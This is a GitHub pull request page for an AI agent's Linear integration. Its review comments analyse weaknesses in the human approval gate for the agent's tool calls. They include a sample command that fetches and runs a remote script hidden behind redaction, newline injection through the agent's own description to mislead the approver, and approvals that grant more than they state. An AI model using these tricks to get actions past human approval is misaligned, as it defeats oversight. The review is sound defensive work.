Repository navigation
Conversation
a314fb1 to
3bf3205
Compare
krokoko
left a comment
There was a problem hiding this comment.
Thanks for this work. There is a lot of careful thinking in it, and the checks on who can decide a request held up when I tried to get around them: only the owner can decide, replies written by an app are rejected, a button cannot decide a different request, and the decision is one conditional write, so Linear, the CLI and the timeout cannot both win. The new GraphQL calls also match Linear's current schema.
This review is from reading the code. Nothing was run, apart from trying the scanner's patterns on a few sample commands.
Most of my concerns are about the approval notice: what it shows and what it can leave out. Four comments are marked "Blocking":
- The notice posts the tool input into Linear. For a
.envwrite that includes file content. - Redaction can remove part of the command, and the description is printed without quotes, so the owner may not see what they are approving.
- "Approve for this task" allows more than its text says.
@bgagent approveunder a notice does not decide the request and can start a new task.
Comments marked "Should fix" are things I would like addressed, but I would not hold the PR for each one. "Question" and "Small" mean what they say.
On scope: issue #1066 says "Approval prompts stay out of scope", and #1001 covers notices and replies on the issue. I could not find an approved issue for the session buttons, or for the new platform default in contracts/constants.json. Would you be open to splitting this up? The CLI fixes, the grant probe and progress streaming look close and could go in first. Approvals in Linear and the new default could follow once the points above are settled.
Happy to go through any of this on a call if that is easier.
| lines.push(`Command: ${quote(input.command)}`); | ||
| } | ||
| // Always retain the preview: summaries must not hide flags, ranges or edits. | ||
| lines.push(`Saved arguments: ${text(preview) || '(not available)'}`); |
There was a problem hiding this comment.
Blocking: this line posts the saved tool input into Linear, where other people who can open the issue can read it.
For a Write or Edit to .env or a credentials file (the two built-in file rules), the saved input includes the start of the file content, up to about 180 characters. The scanner only knows token shapes, so a line like DB_PASSWORD=... or STRIPE_SECRET_KEY=sk_live_... goes through unchanged.
On main this preview is only returned by get-pending, to the owner.
Could the notice show only the tool and the file path for Write and Edit, and point to bgagent pending for the content?
| function text(value: unknown, max = 500): string { | ||
| if (typeof value !== 'string') return ''; | ||
| // Redact before truncation so cutting a token cannot hide its recognizable shape. | ||
| const clean = scanDenyReason(value) |
There was a problem hiding this comment.
Blocking: the scan can remove more than the secret, so the owner may approve a command they cannot read.
Running the patterns from deny-reason-scanner.ts on a few commands gives:
git push --force https://u:p@github.com/org/repo.git HEAD:mainis shown asgit push --force [REDACTED-CONNECTION_STRING] HEAD:main. The host and repository are gone.git fetch https://u:p@h/r.git;{curl,-s,https://example.com/x.sh}|shis shown asgit fetch [REDACTED-CONNECTION_STRING]. Everything up to the next space is removed.curl -X DELETE http://billing.internal:8080/api/customers/alice@example.comis shown ascurl -X DELETE [REDACTED-CONNECTION_STRING], although it holds no credential.- Anything between a
-----BEGIN ... PRIVATE KEY-----marker and an-----END ... PRIVATE KEY-----marker is removed, whatever it is. A command placed between the two markers is shown as[REDACTED-PRIVATE_KEY]and still runs.
The marker is visible, and the rule ids are still listed under "Policy detail". But nothing tells the owner that part of the action was left out.
Two suggestions. Redact only the user and password part of a URL and keep the host and path. And when the scan changed the command or the saved arguments, add a line that says so and points to bgagent pending, and do not offer approval in Linear for that request.
| const lines = [action]; | ||
| if (task.repo) lines.push(`Repository: ${text(task.repo)}`); | ||
| if (typeof input?.description === 'string' && input.description.trim()) { | ||
| lines.push(`Agent's explanation: ${text(input.description)}`); |
There was a problem hiding this comment.
Blocking: description comes from the agent's own tool call and is printed here without quotes, so its line breaks are kept. text() removes control characters but leaves \n.
A description such as List files\nCommand: "ls -la" puts a second Command: line above the real one. The real line is still there further down, but the owner may stop reading at the first.
quote(input.description), as line 107 does for the command, would fix it. It may also be worth removing U+0085, U+2028 and U+2029 on line 66.
| const option = (label: string, verb: string) => ({ label, value: `${verb} request ${requestId}` }); | ||
| const options = [ | ||
| option('Approve', 'approve'), | ||
| ...(ruleIds?.length === 1 ? [option('Approve for this task', 'approve for this task')] : []), |
There was a problem hiding this comment.
Blocking: "Approve for this task" approves more than the owner can tell from the notice.
The answer is recorded as rule:<id>, and the agent then allows any later call that has this rule among its matches (agent/src/policy.py:1209 uses any(...)). With the built-in rules: the owner approves a force push to a feature branch, which matches only force_push_any (medium). Later git push --force origin main matches both force_push_any and force_push_main (high), and it runs without a request.
The check on this line covers a current request that matched several rules. It does not cover a later request that matches the approved rule and a stricter one.
I know bgagent approve --scope rule: works the same way today. The difference here is that it is one click, and the notice only explains Approve ("allow this action once") and Deny.
Could policy.py use all(...) there, so a call is allowed only when every matching rule has been approved? If that is too much for this PR, I would leave the button out for now. Either way, the choice text should say what the button allows.
| const reply = parseLinearApprovalReply(event.data.body); | ||
| const workspaceId = event.organizationId; | ||
| const parentId = event.data.parentId; | ||
| if (event.action !== 'create' || !reply || !workspaceId || !parentId || !event.data.id) return false; |
There was a problem hiding this comment.
Blocking: a reply of @bgagent approve under the notice is not read as an answer, because parseLinearApprovalReply only accepts text that starts with approve or deny. This line then returns false and the comment goes on to the normal comment trigger.
From reading handleCommentTrigger: if the paused task already has a pull request, a new PR iteration task is created with the instruction "approve" (around linear-webhook-processor.ts:2862). If it has none, the bot answers "I'm still working on the current task". In both cases the request is not decided, and it is denied when it times out.
People are used to starting every message to the bot with the mention, so I expect this to happen often.
Could the handler look up the thread first, remove a leading mention before parsing, and for any other reply under an open notice answer "reply approve or deny" and return true?
| const record = decision === 'approve' | ||
| ? (await import('../approve-task.js')).recordApprovalForUser | ||
| : (await import('../deny-task.js')).recordDenialForUser; | ||
| const result = await record({ |
There was a problem hiding this comment.
Question: docs/design/CEDAR_HITL_GATES.md (around line 1522) says high severity gates cannot be approved from Slack and need a CLI approve with a fresh Cognito sign-in. Both Linear paths record an approval at any severity, including write_credentials and force_push_main, and "Approve for this task" extends it to the rest of the task.
Is that intended for Linear? If yes, could the design doc say so? If not, the handler could refuse approve for a high severity request and point to bgagent approve, while still accepting deny.
Related: agent.ts:1767 passes the approvals table to the Linear integration in every deployment, so replies cannot be turned off. A context flag might be worth having for a new way to approve.
| * legacy worker credentials can read the OAuth bundle containing the HMAC key. | ||
| * Lookup failures must retry, never become permission to use webhook fields. | ||
| */ | ||
| export async function readLinearApprovalComment( |
There was a problem hiding this comment.
Should fix: no test runs this function or postIdentifiedComment. Every test that reaches them replaces them with a mock. This is the check that a reply was written by a person in the right workspace, so could it get a few tests with fetch mocked? For example: a normal comment is returned, a comment by the token's own user gives null, and a workspace mismatch, a 500 and a GraphQL error each throw.
In the same area, confirmedPrompt compares six things, and the tests still pass if the reason, whole-task and request id comparisons are removed.
| props.taskTable.grantReadWriteData(webhookProcessorFn); | ||
| props.taskEventsTable.grantReadWriteData(webhookProcessorFn); | ||
| // Approval replies: thread mapping, rate-limit counter and the decision. | ||
| props.taskApprovalsTable?.grantReadWriteData(webhookProcessorFn); |
There was a problem hiding this comment.
Small: two things about this grant.
- The approval code in the processor only needs
GetItemandUpdateItemon this table. The fan-out consumer already uses that narrower grant. - Decisions recorded here run the MicroVM wake under the processor's role, which has no
lambda:GetMicrovmorlambda:ResumeMicrovm. Only the approve and deny functions have them (task-api.ts:1093). The call is denied, amicrovm_resume_orphanevent is written, and a suspended VM waits for the orchestrator's next poll. Could the processor get the same two actions?
| * approving one of several matched rules would also pass requests the others raise. | ||
| */ | ||
| function choice(body: string, requestId: string, ruleIds?: readonly string[]): SessionApprovalActivity { | ||
| const option = (label: string, verb: string) => ({ label, value: `${verb} request ${requestId}` }); |
There was a problem hiding this comment.
Question: do we know what Linear puts in the prompt body when a button is clicked, the option's value or its label? I could not find it in Linear's docs or schema.
It matters because the three labels are also valid typed answers ("Approve", "Approve for this task", "Deny"). If Linear sends the label, the click is read as a typed answer with no request id, and the check that a button only decides its own request is skipped without any error.
Could you click a button on the dev stack and add the body Linear returns as a test fixture? Labels that do not parse as answers, for example "Yes, approve", would also make a returned label fail safely.
| "min": 30, | ||
| "max": 3600, | ||
| "default": 300 | ||
| "default": 1800 |
There was a problem hiding this comment.
Should fix: two things that follow from the new default.
reconcile-concurrency.ts:42does not count tasks inAWAITING_APPROVAL. There is already atest.failingfor this incdk/test/emulator/concurrency-seats.emulator.ts:171. With a 5 minute window, the 15 minute reconciler tick landed inside at most one wait in three. With 30 minutes it lands inside every long wait: the owner's count drops by one and admission can start a task over the cap. Could that fix go in with this change, or before it?- The docs still say 300 s in several places:
docs/guides/CEDAR_POLICY_GUIDE.md:48, the JSON sample atcontracts/constants.md:51,docs/decisions/ADR-021-lambda-microvms-compute-backend.md:382, and the comments inagent/policies/soft_deny.cedarand its copy inbuiltin-policies.ts.docs/guides/USER_GUIDE.md:248also still says a redeploy never removes a Blueprint setting, which is no longer true forapprovalTimeoutSeconds.
The new default also applies to Slack, the CLI and the web console, not only Linear, so it may deserve its own issue.
A Linear agent session showed only the start and the end of a task. It now
shows what the agent is doing while it works, where the task stands, and
whether the reader has to act:
- each tool call as an ephemeral action ("Reading `src/app.ts`"), replaced by
the next one
- the agent's messages as thoughts, clipped to 600 characters
- setup steps: issue context gathered, repository cloned, attachments read,
nudge picked up
- "Queued" and "Still queued (N min so far)" while waiting on the
concurrency limit; the admission reconciler re-emits admission_queued
every 15 minutes so a long wait does not go stale
- the session checklist (Linear's plan): understand the ticket, set up the
repository, write the code, open the pull request, ready for your review.
The stage is kept on the task record with a forward-only conditional
write; the terminal event completes it or cancels what was left
- a closing line on the final activity saying whether the reader needs to do
anything (review the PR, answer the question, try again)
- a task that ends with a pull request moves its issue to In Review, which
the setup guide already promised for session tasks
Persistent activities are capped at 30 per task with a conditional counter
on the task record, so a long run cannot flood the session. Ephemeral tool
calls do not count, and only the newest tool call per task in a stream batch
is sent. Progress events have their own per-invocation cap, so they cannot
crowd out the lifecycle events. Activity ids are derived from the event id,
so a stream retry does not post twice.
Progress and the checklist are best effort: a failed write is logged, never
retried, and nothing is posted after the session's final response or a
terminal status. Progress events only route when
LINEAR_AGENT_SESSIONS_ENABLED is set, and the comment path ignores them, so
comment-path tasks see no change.
…y picker - When `bgagent linear setup` moves a workspace onto the Identity vault it keeps the existing Secrets Manager token. If that token's access token has already expired, setup now says the fallback is unverified (refresh tokens expire when unused and cannot be checked without rotating) instead of printing "Kept the existing Secrets Manager token as a fallback". Seen live: a token dead since 2026-08-27 was reported as a working fallback. - The self-link and teammate pickers re-ask on an empty or invalid answer (up to 3 times). A pasted session id that ends in a newline, followed by Enter, left a stray empty line that silently skipped the self-link. (cherry picked from commit 1fbfad4)
(cherry picked from commit dd6ff85)
…ive (#1004) Revocation detection (#812) only runs when a Linear event needs a token, so an idle workspace or a dead webhook never re-detects a dead grant, and an unused refresh token simply expires: observed live, a workspace sat with an expired refresh token for months with one ERROR log line. - The concurrency reconciler (already every 15 min) async-invokes the Linear webhook processor with {grant_health_probe: true} on exactly one tick per 12 h (isProbeTick). Best-effort: a failed invoke never affects reconciliation. - In probe mode the processor resolves a token for every active registry workspace. That refreshes expiring tokens (keeping idle grants alive) and sends a rejected grant down the existing latch-and-announce path to OperationalAlerts. Its summary logs any workspace without a usable token. - Zero new CloudFormation resources (an invoke IAM statement and two env vars): the root stack is at its 490-resource budget in some census profiles, so a rule of its own did not fit. - LINEAR_SETUP_GUIDE troubleshooting documents the probe, the alert topic (which ships without subscribers) and the recovery command. (cherry picked from commit d78a4fa)
…ts own file (knip) (cherry picked from commit 702cdbe)
When an issue is delegated, the session's comment is the one Linear writes
itself ("This thread is for an agent session with <app>."). It was read as
the person's directive, so it led the task description and named every
delegated task's branch (bgagent/<task>/this-thread-is-for-an-agent-session-
with-...). Seen live on three delegated issues. The placeholder alone now
reads as no directive; a person's comment that starts the same way is kept.
…ex built per key The SAST range scan flagged inputField: it built a RegExp from each key at call time. One literal pattern now matches every 'key': 'value' pair of the preview, and the caller's key order picks the value.
…estating comments checklistMoveForEvent no longer parses the PR number itself: the dispatcher already labels every checklist write from the task's PR. progressActivityId builds its version-4 UUID with a fixed variant nibble, without the variant table. The claim helpers drop a TASK_TABLE_NAME guard the dispatcher already needs, the checklist stage drops a coercion for a writer that never existed, and the delegation placeholder's doc comment, which ended up above the wrong function, is back on its own.
… are spaced The heartbeat fired when age % 900 < 60, which holds only when pickup runs are exactly 60 s apart: runs at 898 s and 961 s skipped the mark. Each mark (whole 15-minute periods queued) is now claimed with a conditional write of queue_heartbeat_mark on the still-QUEUED task, and only the run that claims it emits the event.
…named In Review transitionIssueState falls back to the team's first started state when the preferred name is missing, so on a team without In Review an issue moved back to Backlog would be pushed to In Progress when the PR opened. A new requirePreferredName option makes the move happen only to a state with that name; the session's In Review move uses it.
…n consent A registry row latched revoked with revoked_reason vault_consent_required was skipped by the probe like every other non-active row. The resolver re-tests such a row and clears the latch when the vault returns a token, but its only other caller is a Linear event, and the webhook receiver rejects the events of a revoked workspace. The row therefore stayed down until setup ran again. The probe now reads revoked_reason and resolves those rows too. One that still gets no token stays in the report's revoked list; it was already announced.
A follow-up task on an existing pull request carries the PR's pr_url, so one that only answered and pushed nothing was classed as a pull request to review: its session checklist ended with "Push to the pull request" completed, the last line asked the owner to review the pull request, and the issue moved to In Review. sessionOutcome now reads code_changed first. A completed task with code_changed === false is a question when it has no pull request and no change when it has one, so it gets the no-change closing line, a checklist that stops at the step it reached, and no move.
sessionOutcome classes a failed or timed-out task that left a pull request as 'pr', and the move to In Review followed that class, so a run with a failed build put its issue in review. The agent moves an issue only on success; the fan-out now does the same and moves it only for task_completed.
Progress events were streamed into the session while the task was in AWAITING_APPROVAL. The agent writes tool-call events after the gated call, so the session showed actions that had not run and buried the pause. The progress emit now returns early in that status, before it claims a progress slot.
…reed when the post fails The 30 persistent progress entries per task were counted with ADD on a number, taken before the emit. A record processed again (a batch retry for another channel) took a second slot for the same activity, and a post that failed, or found no token, kept its slot although nothing was shown. Failures could use up the cap with nothing in the session. A slot is now the event id in a string set on the task row: the claim adds the id while the set is under the cap or already holds it, so a re-run keeps the slot it had. When the emit does not succeed, the id is removed again. Checked against DynamoDB Local: a repeated claim keeps one entry, a new id at the cap is refused while a held one passes, and a removed id frees its slot.
…vocation Progress and checklist writes run inside the fan-out's record loop. Each Linear call could wait the full 5 s request timeout, and the function has 60 s, so about twelve progress events against a slow Linear timed the invocation out. A timeout returns no partial result: the whole batch was retried and then dead-lettered, Slack, GitHub and Jira events included. - graphqlRequest takes a timeout; emitAgentActivity and setAgentSessionPlan pass it through. Progress and checklist writes use 2 s, lifecycle posts keep 5 s. - Each invocation gives progress and checklist writes 15 s. Their time is charged to it, and once it is spent the rest of the batch's progress is skipped. - The first retryable failure of such a write (a timeout, a network error, a 5xx or 429) skips the rest of the batch's progress as well. - A skipped event claims no slot and no checklist stage. The task's last checklist write is not skipped, so the checklist never stays mid-way.
183eecd to
9b2601f
Compare
Linear agent sessions now show the work while a task runs. The CLI's vault status and identity picker are fixed. A twice-daily probe finds dead Linear grants without Linear traffic. As asked in the review, the approval and vault parts moved to a follow-up pull request.
Area
cdk— infrastructure, handlers, constructsagent— Python runtime / Docker imagecli—bgagentclientdocs— guides or design sources (docs/guides/,docs/design/)tooling— rootmise.toml, scripts, CI workflowsRelated
Fixes #1066. Closes #996, #1004.
Changes
Progress in the agent session (#1066). All of it needs
enableLinearAgentSessions.npm test". Only the newest tool call of a task in a batch is posted.planshows a checklist. A conditional write onlinear_checklist_stagekeeps it moving forward only.transitionIssueStatehas a newrequirePreferredNameoption, so a team without that state keeps the issue where it is.Fixes from the review.
AWAITING_APPROVAL.code_changed === false) reads as no change. It gets no "review the pull request" line, no finished checklist and no move.task_completedmoves the issue to In Review. A failed task that left a pull request stays where it is.revokedwithrevoked_reason = 'vault_consent_required'. The vault is opt-in on main, so the case exists there. The resolver clears the latch when the vault returns a token.CLI (#996). When
bgagent linear setupkeeps an expired Secrets Manager token as the vault's fallback, it now says the fallback is unverified. Before, it reported a working fallback. The self-link and teammate pickers ask again, up to 3 times, after an empty or invalid answer.Grant health probe (#1004). The concurrency reconciler invokes the Linear webhook processor in probe mode on one 15-minute tick in 12 hours. The probe resolves a token for every registered workspace. That refreshes tokens that are about to expire, and a rejected grant takes the existing revoke-and-alert path. The probe runs in front of the processor's existing handler, which keeps its complexity record. The reconciler stays in the
ConcurrencyMaintenancenested stack. The probe adds no CloudFormation resources.docs/guides/LINEAR_SETUP_GUIDE.mddescribes the session progress and the probe.Validation
On the final tree:
MISE_EXPERIMENTAL=1 mise run install,mise run lintandmise run drift-preventionpass.mise run //cli:test: 85 suites, 1,689 tests pass.mise run //cdk:test: 302 suites pass and 1 is skipped. 9,649 tests pass and 42 are skipped.upstream/main) reports 0 findings. The silent-success-masking scan reports 0 findings.gitleaks gitover the branch's commits finds no leaks.Acknowledgment
By submitting this pull request, I confirm that you can use, modify, copy, and redistribute this contribution, under the terms of the project license.